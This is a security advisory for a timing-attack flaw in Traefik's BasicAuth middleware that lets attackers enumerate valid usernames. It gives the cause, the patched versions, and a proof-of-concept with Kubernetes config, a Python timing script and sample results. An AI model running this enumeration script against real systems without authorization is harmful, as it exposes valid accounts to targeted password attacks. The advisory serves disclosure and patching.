Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration

Summary

There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.

When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.

Patches

• https://github.com/traefik/traefik/releases/tag/v2.11.41
• https://github.com/traefik/traefik/releases/tag/v3.6.11
• https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.

Details

The vulnerability exists in the BasicAuth middleware implementation. When validating credentials:

• User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design
• User doesn't exist: The system immediately returns authentication failure in ~0.6ms

This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.

Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.

Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.

PoC

Environment:

• Traefik v3.6.9
• k3s v1.34.5

Configuration:

apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: basicauth
  namespace: traefik-poc
spec:
  basicAuth:
    secret: basic-auth-secret
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: test-basicauth
  annotations:
    traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd
spec:
  ingressClassName: traefik
  rules:
    - http:
        paths:
          - path: /protected
            pathType: Prefix
            backend:
              service:
                name: whoami
                port:
                  number: 80

PoC Script:

#!/usr/bin/env python3
import requests
import time
import statistics
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected"
TEST_USERS = ["admin", "root", "test", "nonexistent12345"]
SAMPLES = 20
def measure_time(username, password="wrongpassword"):
    times = []
    for _ in range(SAMPLES):
        start = time.perf_counter()
        requests.get(TARGET, auth=(username, password), timeout=5)
        elapsed = time.perf_counter() - start
        times.append(elapsed)
    return statistics.median(times)
print(f"Target: {TARGET}")
print(f"Samples per user: {SAMPLES}\n")
for user in TEST_USERS:
    median = measure_time(user)
    if median > 0.05:  # bcrypt threshold
        status = "[+] EXISTS (slow - bcrypt verification)"
    else:
        status = "[-] NOT FOUND (fast - immediate return)"
    print(f"{status}: {user:20s} | median={median:.4f}s")

Execution Results:

Target: http://10.10.10.7:30080/protected
Samples per user: 20

[+] EXISTS (slow - bcrypt verification): admin         | median=0.1665s
[-] NOT FOUND (fast - immediate return): root          | median=0.0006s
[-] NOT FOUND (fast - immediate return): test          | median=0.0006s
[-] NOT FOUND (fast - immediate return): nonexistent   | median=0.0006s

Timing difference ratio: 298.0x

Impact

• Vulnerability Type: Information Disclosure via Timing Attack (CWE-208)
• Impact:
  • Attackers can enumerate valid usernames without authentication
  • Enables targeted password brute-force attacks against confirmed accounts
  • Exposes information about system user structure
• Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:
  • BasicAuth middleware enabled
  • Attacker able to make requests to protected endpoints
  • Network access to measure response times
• Attack Complexity: Low - only requires sending HTTP requests and measuring response times
• Privileges Required: None
• User Interaction: None

</details>